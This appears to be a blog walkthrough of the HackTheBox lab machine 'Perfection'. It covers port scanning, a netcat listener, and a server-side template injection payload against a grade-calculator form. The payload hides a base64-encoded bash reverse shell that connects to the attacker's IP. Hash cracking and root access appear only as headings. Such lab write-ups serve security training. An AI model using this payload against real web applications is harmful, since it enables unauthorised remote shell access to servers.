Introduction
In this post, You will learn how to CTF Perfection from HacktheBox, If you have any doubts comment down below 👇🏾
Let’s Begin
Hey you ❤️ Please check out my other posts
Let’s Hack Perfection HTB 😌
Enumeration
First, we start by checking out the target’s IP address using a tool called Nmap. Nmap helps us figure out what ports are open and what services are running on those ports.
So, after running Nmap, we find out that two ports are open: 22 (for SSH) and 80 (for HTTP). This means there might be a way to remotely access the system through SSH, and there’s likely a website hosted on the target.
Also, the details we get from the scan suggest that the operating system is probably Ubuntu Linux.
Now, let’s break down the command “sudo nmap -sC -sV 10.129.216.68”:
“sudo” is used to give the command extra permission to do its job properly.“-sC” runs some default scripts to dig deeper into the services and get more info about them.“-sV” tries to figure out the exact version of the services running.And finally, “10.129.216.68” is the IP address we’re targeting.
Website
The HTTP port has a server that serves web pages. This website has places where we can type stuff, and we might be able to put in our own code there.
Start Listener
Next, we’re going to use a tool called Netcat to wait for connections coming in. We’ll use the command “nc -lvnp 7373” to do this. Here, “nc” stands for Netcat, which is a handy networking tool.
The flags we’re using (-l for listen mode, -v for verbose mode, -n to show numeric-only IP addresses, and -p to specify the port) help us set up a listener on port 7373. We’re expecting the target to send us a reverse shell through this port.
Generate Payload
Using hURL to encode and decode payloads demonstrates how we can mess around with data to take advantage of weaknesses in web applications.
Specifically, the payload we’re making for the Weighted Grade Calculator app is made to run a reverse shell command. This way, we can exploit any possible vulnerabilities that let us run code on the server’s side.
Inject Payload
First, use Burpsuite to grab the POST Request. After that, put in the Payload.
Payload
grade1=1&weight1=100&category2=N%2FA&grade2=1&weight2=0&category3=N%2FA&grade3=1&weight3=0&category4=N%2FA&grade4=1&weight4=0&category5=N%2FA&grade5=1&weight5=0&category1=a%0A<%25%3dsystem("echo+YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMC4xMC4xNC4yMTMvNzM3MyAwPiYx|+base64+-d+|+bash");%25>1
User Flag and Hash
Boom! We’ve got our Reverse Shell Connection. Now, we can get the User Flag and Susan’s hash.
Crack the Hash
Login with Root
Conclusion
In summary, this Perfection HTB box offered valuable lessons in network security and penetration testing. Through practical exercises, we learned to identify and exploit vulnerabilities effectively. This experience highlights the importance of robust security measures in protecting systems from cyber threats.
FAQs
- What is Perfection HTB?
Perfection
HTB is a challenging virtual machine on the HacktheBox platform, designed to
test and enhance penetration testing skills.
- Which tools are used for enumeration in Perfection HTB?
Tools like
Nmap, Netcat, and Burpsuite are commonly used for enumeration in Perfection
HTB.
- How can I generate payloads for exploitation?
Payloads
can be generated using tools like hURL, tailored to exploit specific
vulnerabilities in the target system.
- What is the significance of cracking hashes in ethical hacking?
Cracking
hashes allows hackers to escalate privileges, gain unauthorized access, and
further penetrate target systems.
- Why is root access crucial in hacking challenges like Perfection
HTB?
Root access
grants hackers full control over target systems, enabling them to explore
hidden files, escalate privileges, and complete hacking objectives.